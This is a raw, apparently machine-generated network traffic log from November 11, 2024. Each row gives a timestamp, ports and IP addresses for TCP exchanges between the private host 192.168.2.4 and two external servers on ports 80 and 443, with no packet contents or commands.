Nov 11, 2024 14:33:07.299276114 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.300065994 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300096035 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300110102 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300120115 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.300128937 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.300153971 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.300208092 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300220013 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300231934 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300245047 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.300259113 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.300293922 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.377918005 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.377965927 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.378021002 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.378735065 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.378885984 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.378927946 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.384546995 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.384561062 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.384573936 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.384577990 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.386116028 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.386135101 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.386145115 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.386152029 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.408248901 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408265114 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408303022 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408329010 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408365011 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408399105 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408399105 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408411980 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408422947 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408433914 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408451080 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408473015 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408483982 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408493996 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408521891 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408786058 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408797979 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408807993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408821106 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408824921 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408837080 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408838987 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408852100 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408858061 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408869982 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408896923 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408900976 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408940077 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408951998 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408956051 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408965111 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.408973932 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.408997059 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409280062 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409291029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409303904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409317970 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409321070 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409332991 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409341097 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409362078 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409389019 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409636974 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409647942 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409666061 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409672022 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409677029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409688950 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409692049 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.409708023 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409735918 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.409993887 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410005093 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410015106 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410031080 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410053968 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410057068 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410065889 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410078049 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410089970 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410106897 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410130978 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410444975 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410461903 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410466909 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410470963 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410486937 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410510063 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410634995 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410655975 CET	49830	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.410669088 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410681963 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410693884 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410701990 CET	443	49830	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.410718918 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410732985 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410762072 CET	49830	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.410804987 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410815954 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410825968 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410836935 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410840034 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410849094 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410860062 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410867929 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410870075 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.410881996 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.410912037 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411402941 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411415100 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411426067 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411442995 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411463976 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411474943 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411485910 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411497116 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411509991 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411509991 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411535025 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411561012 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411585093 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411596060 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411606073 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411617041 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411621094 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411629915 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411637068 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411643028 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.411664009 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.411681890 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412353992 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412379026 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412394047 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412399054 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412414074 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412414074 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412429094 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412432909 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412451029 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412468910 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412512064 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412524939 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412537098 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412548065 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412548065 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412561893 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412568092 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412575006 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.412595987 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.412616968 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413153887 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413165092 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413197041 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413255930 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413266897 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413278103 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413290977 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413319111 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413361073 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413372040 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413383007 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413393974 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413400888 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413405895 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413415909 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413418055 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413439035 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413443089 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413451910 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413464069 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413470030 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413475990 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.413489103 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.413506985 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.414167881 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.414210081 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.414213896 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.414249897 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.421839952 CET	49831	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.421870947 CET	443	49831	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.421972036 CET	49831	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.426187038 CET	49830	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.426223040 CET	443	49830	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.426270008 CET	49831	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.426285028 CET	443	49831	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.489726067 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.489753962 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.489769936 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.489775896 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.489778996 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.489784002 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.489792109 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.489824057 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.489866018 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521193981 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521219969 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521240950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521259069 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521276951 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521311998 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521362066 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521426916 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521451950 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521454096 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521466970 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521473885 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521487951 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521502018 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521526098 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521537066 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521548986 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521564960 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521575928 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521590948 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521596909 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521605015 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521616936 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521619081 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521634102 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521635056 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521652937 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521660089 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521691084 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521703959 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521748066 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521759987 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521791935 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521795034 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521806955 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521816015 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521817923 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521831989 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521842957 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521867990 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.521951914 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521962881 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521974087 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.521990061 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522001028 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522006989 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522017956 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522020102 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522037983 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522047043 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522049904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522064924 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522072077 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522078037 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522088051 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522099972 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522108078 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522120953 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522133112 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522145987 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522152901 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522152901 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522157907 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522171021 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522175074 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522197008 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522214890 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522227049 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522237062 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522237062 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522253036 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522254944 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522264004 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522272110 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522277117 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522284985 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522298098 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522300959 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522308111 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522325039 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522327900 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522339106 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522344112 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522345066 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522350073 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522371054 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522377968 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522382021 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522394896 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522402048 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522412062 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522414923 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522433043 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522449017 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522458076 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522479057 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522495985 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522507906 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522514105 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522524118 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522536993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522548914 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522574902 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522592068 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522602081 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522612095 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522624969 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522634983 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522639990 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522648096 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522665024 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522685051 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522691011 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522697926 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522711039 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522722960 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522727013 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522735119 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522747993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522758961 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522770882 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522783041 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522785902 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522797108 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522813082 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522820950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522828102 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522831917 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522845030 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522846937 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522861958 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522887945 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522890091 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522902966 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522912979 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522934914 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.522942066 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522954941 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522963047 CET	49824	80	192.168.2.4	185.215.113.16
